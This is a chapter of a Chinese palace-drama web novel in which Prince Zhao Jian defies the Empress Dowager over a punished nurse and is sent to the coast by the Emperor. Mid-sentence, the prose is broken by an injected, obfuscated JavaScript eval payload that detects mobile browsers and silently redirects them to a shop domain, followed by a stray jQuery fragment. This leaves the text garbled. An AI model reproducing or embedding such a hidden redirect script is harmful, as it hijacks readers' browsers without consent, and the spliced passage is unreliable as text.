40. 刀子嘴豆腐心(一)
    “唰——唰——”一青衣宫女卖力地拎起半桶水泼向地面,灰砖上淌开灰黑暗红的泥水。

    蹲在地上的一个小宦官叫了一声,皱着眉头看袖子上的污泥点子,暗骂一声:“你倒是轻点!”

    那宫女没好气地拿起竹瓢,舀了水又朝前泼去。“再胡乱泼水就换你来刷地!”小宦官闷闷的声音从捂住口鼻的面巾下传来。

    那小宫女的听了这话,动作收敛了些。小宦官捏着鼻子,边低骂着边举起手中的长竹刷,一下一下地刷洗着砖面和砖缝。

    忽然,刷子在缝隙里被卡了一下,继而刷毛好像被什么沾住了一样,黏黏的刷不动了。那小宦官似有所感,皱着眉头慢慢举起刷子。

    他还未有所反应,那小宫女却率先看到了黄褐色刷毛下的东西,糜烂黏糊的湿漉漉一团,一小节垂落下来,仔细分辨还能看出原本是某种细长的暗红色条状物,即使隔了那么远,她似乎还是闻到了那股浓重的血腥臭味。

    小宫女瞬间扶着木桶呕吐起来。她胃里翻江倒海,鼻腔被呛出了涕泗,眼睛也控制不住地呛出泪来。

    一双皂靴停在跟前,微风中送来一阵竹叶清香。

    小宫女抬眼看去,温暖和煦的晨曦中,一人如松如竹,纤尘不染,红衣蟒服在风中飖飏,他伸出白皙的手,将一张洁白的帕子向她递来。

    小宫女一时忘记了脸上的狼狈,遮掩的袖子放了下来,怔怔接过那张帕子。

    她望着蟒服上的腾云四爪龙,知道对方的身份必定贵不可言,正要起身行礼道谢,他却已经大步离去。

    回身一看,那小宦官不知何时已经跪在了石砖之上,看她望来,抬起一张煞白的脸,用嘴型无言和她说了句什么。

    那小宫女听完,没拿稳手中的帕子,惶惶然转头看向那个高大的身影。

    宫道内突然卷起一阵风,地上落下一个巨大的阴影,瞬时间飞沙走石,那宫女惊吓一声捂着头闪到殿门后。那只巨大的身影飞掠而过,末了收起翅膀,轻轻落在赵简伸出的小臂上。

    小宦官提着那只毛刷,心有余悸地偷看了一眼,心中觉着奇怪:听说今日的朝会秦王殿下是告了假的呀,他怎会在宫里闲庭信步?看他这个样子,也不像是身子不适,就不怕经过的言官看见了再参他几本吗?

    小宦官踮起脚尖又看了一眼赵简离去的方向,他这是要去......?

    慈宁宫中。

    偏殿某个耳房满屋子浓稠得化不开的苦涩药味,门窗却被关得严严实实。

    一抹明黄色身影站在廊下,听闻身后的脚步声,顿住念珠的动作,慢慢转过身来,“如何?”

    来人身上有淡淡的血腥气,他在五步开外站定,先是恭敬地行了礼,一手习惯性地搭在药箱之上,回道:“回皇太后的话,吴嬷嬷年岁大了,受了板子,又在雪中受了寒,伤及五脏......”

    慈宁宫中吴嬷嬷和孙嬷嬷都是皇太后的陪嫁丫鬟,在皇太后身边服侍了十几年,郑太医自然十分清楚这事弄不好能让他丢了饭碗,此刻的他也不得不斟酌着用词,暗地思忖怎么样可以说得委婉些。

    皇太后抬眸,定定看了一眼郑太医,平静的眸子闪过一丝不耐,后者马上顿住话头,叹了一口气,“吴嬷嬷想看看皇太后,您看......”

    皇太后闭上眼眸,深出一口气,将那串佛珠圈圈缠绕在手上。“去将青儿找来。”叫身边的人没动,她眉头微不可察地蹙了蹙。

    青儿正是吴嬷嬷的女儿,吴嬷嬷丈夫早逝,青儿便是她生活的全部企盼。

    身后的孙嬷嬷猛地跪了下来,伏在地上哽咽道:“青儿出宫办事,照说两日前就该回到宫里来了,可是......可是昨日打发去问消息的人来回,道青儿在路上不慎落了水,已经没了!”

    皇太后平静如水的脸上破出一道裂痕,嘴角猛地抽了抽,“去将赵简给哀家找来!”

    一温润如玉的声音自她身后响起,“母后找儿臣?”

    转身之前,皇太后的眼皮跳了跳。

    “她是你的乳娘!养育之恩无以为报!你就是这样报答哺育之恩的?”

    赵简有些觉得好笑的样子,不答反问:“母后不问问那宫女做了什么?”

    皇太后微微一哽。

    她微微吸了一口气,平缓的语调中满是沉痛,“不管她做了什么,你都不能这样迁怒无辜!你怎么处置那个宫女哀家都没有意见,但是吴嬷嬷是慈宁宫里的人......”

    “正因为她是慈宁宫的人。”赵简的语调也愈发柔和,“儿臣不放心这样是非不分的人留在母后身边。”

    皇太后望着赵简神态自若的脸,仿佛看到了镜子中的自己。忽地笑了,这笑里有欣慰,也有讽刺。

    “相鼠有齿,人而无止!人而无止,不死何俟?”赵简如同闲话家常,娓娓道来:“正是念及她对我有哺育之恩,念及她侍奉母后多年,儿臣才留了她一口气。”

    皇太后猛地攥紧掌心的佛珠串,重新抬眸打量赵简,似乎从未认识过他一样。

    慈宁宫众人皆是齐齐变色,要知道赵简每次来慈宁宫都是恭良和颜的,从来未曾忤逆过皇太后的吩咐,更遑论这样明显的冲犯,今日他说这话似是在骂那心术不正的宫女,但又明显还有另一层意味。这场面过于诡异,一时间廊庑下一片沉寂。

    皇太后缓缓摇头,言语间的沉痛之意更加明显,鬓角花白的髻发在北风中越发刺眼,说到最后,竟有了几分哽咽之意,“吴嬷嬷逞口舌之快固然有错,但你肆意妄为,丝毫没有悔改之意,又将哀家置于何地?你眼里,还有我这个母后吗!”

    赵简肃容,微微躬身道:“母后永远是儿臣的母后,儿臣也永远是母后的儿子,母后记得,儿臣亦不敢忘。”

    这两句话就像一把锐利无比的刀,正正刺向皇太后的心脏。急气攻心之下,她险些站不住,青白的脸颊上忽然浮现数条青紫色的血虬,身边的孙嬷嬷赶紧上前扶住了她的手。

    “你年少有成,立下战功,你皇兄力排众议赐你秦王的封号,这些年来多少人弹劾你功高盖主、拥兵自重,皇帝昨日大赦天下的懿旨刚下,你这厢就在建福宫做出这样的暴行来。”

    皇太后的语气忽然变得锋利起来,恨铁不成钢道,“中和殿内弹劾你的奏章如潮水一般,你的皇兄为了你焦头烂额,连早膳都未曾吃多一口。你若非真想坐实这狂妄自大的名号来?”

    赵简的回答多了几分讥诮之意,“母后也说了,儿臣是皇兄亲封的藩王,不过是杖杀几名奴仆,何须为那些莫须有的罪名而瞻前顾后?”

    皇太后似乎看到赵简脸上有一层无形的面具被撕开了一角,她能感觉到面具之下的熊熊怒火,她能看到他眉宇之下隐隐的狰狞血光,血光内外煞气与戾气叫嚣着横飞着,她忽地想起他的称号——秦王。

    秦王的秦,是一身转战三千里,一剑承当百万师的英勇善战;是骑虎游八极,剑光照苍穹的威猛无敌;是杀尽江南百万兵,腰间宝剑血尤腥的睥睨四方!1

    而今日,这万分的气势不过才显露了万分之一!

    “嗒嗒嗒嗒——”深褐色的念珠散落一地,引起一阵低呼。

    赵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985715|132510||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    简却恍若未闻,越说越快:“缘之一事,强求不得,即便强求得来,也是怨偶一双,相看两厌,母后比儿臣更清楚!以后......”

    皇太后按住孙嬷嬷的手,慢慢站稳,再次抬眼望向面前这个俊秀无双的儿子,多年来的不详与不安之感在此刻达到了极点,她一步一步走向赵简,袖子下的手掌隐隐发抖,眼看着就要往上一抬——

    “放肆!”明黄色的衮服忽然出现在游廊拐角处,元景帝大老远便喊道:“还不快与母后请罪!”

    狐皮大氅在风中猎猎作响,元景帝瞪了一眼赵简,又朝皇太后的方向努了努嘴,语调又拔高了几分:“老三!”

    赵简看着元景帝落得老远的仪仗,最后还是低了头。

    元景帝大步走来,很快在两人中间站定,换上一张笑脸,好声好气安抚两句皇太后,又转身骂道:“你这个臭小子,母后为你操心劳累,你还不识好歹,不肯领情!让你一辈子打光棍算了!”

    他左看右看,在赶上来的刘公公手里抢了一把拂尘,狠狠地朝赵简身上抽去,“还给我惹出这样的事端来,一天到晚没一个叫人省心!你都不知道中和殿的奏折都堆了多高了!那帮老顽固一个两个就守在殿前,死赖着不肯走......”

    说到最后,他也有了几分真怒,甩拂尘的力度也跟着加大,有一下抽到了赵简的脸上,后者也不躲,抿着唇一言不发,只是拂尘扫至眼睑的时候猛地闭了闭眼。

    拂尘是以羊毛与麻丝制成,平日里柔软顺滑,只是在来的时候拂尘上沾了雪水,蓬松的尘丝黏在一起,拂尘就好似一根根细辫子,赵简的脸上很快多了数道通红的鞭痕。

    元景帝的手忽然顿了顿,又扬起拂尘胡乱朝赵简身上招呼两下,恨声道:“你捅了这样的篓子,就别想在京城待着了,有多远给我滚多远!”

    “浙州来报,近日倭寇多有异动,你带上神机营的将士去巡视一番,与宋提督将沿海的防御工事修缮并加固一番,顺道将新研制的火器也带过去,去练练手......”

    皇太后忽地拂袖而去,元景帝赶紧顿住话头,脸上变得不耐,一副眼不见心不烦的模样,连连摆手,“具体的我再派人与你细说,总之你先出发!”

    赵简虽点了点头,脚却没动,望着元景帝,似乎还有话想说。眼看着皇太后的身影即将走过垂花门,元景帝大叫一声:“还不快滚!”

    赵简头低了低,转身离去。

    元景帝追着皇太后的身影跑了过去,“母后,地上有积雪,您走慢点,御医!还不快跟上,给皇太后请个平安脉,母后等等我啊,娘......娘亲啊!”

    赵简大步走出慈宁宫,严寒中的风理应是凌冽刺骨的,但吹到脸上他却觉得刚刚好,将内心那团火压一压。

    二十多年来,这是他第一次从被圈好的轨迹中跳出来,第一次做了自己想做的事,第一次说了自己想说的话,他不再顾虑那本就岌岌可危的母子情分,不再顾虑朝堂潜伏的刀光剑影,而这一切,都是因为有人触及了他的底线。

    姜月是他唯一的底线。

    忽然,他的脚步顿了顿,转过身来,刘公公追赶的动作差点没刹住,险些撞到他的胸膛上。

    “追上了,哎哟,殿下您步子迈得真大!”刘公公喘了几口气,踮起脚与赵简轻声说道,“陛下说,叫您快去快回,他等着您回京一起过年呐!”

    纷纷扬扬的雪落到脸上,赵简觉得一片沁凉。

    他回身望了望慈宁宫,觉得内心那团火虽还烧着,却不再灼心灼肺,沉默半响,轻轻回了声,“好。”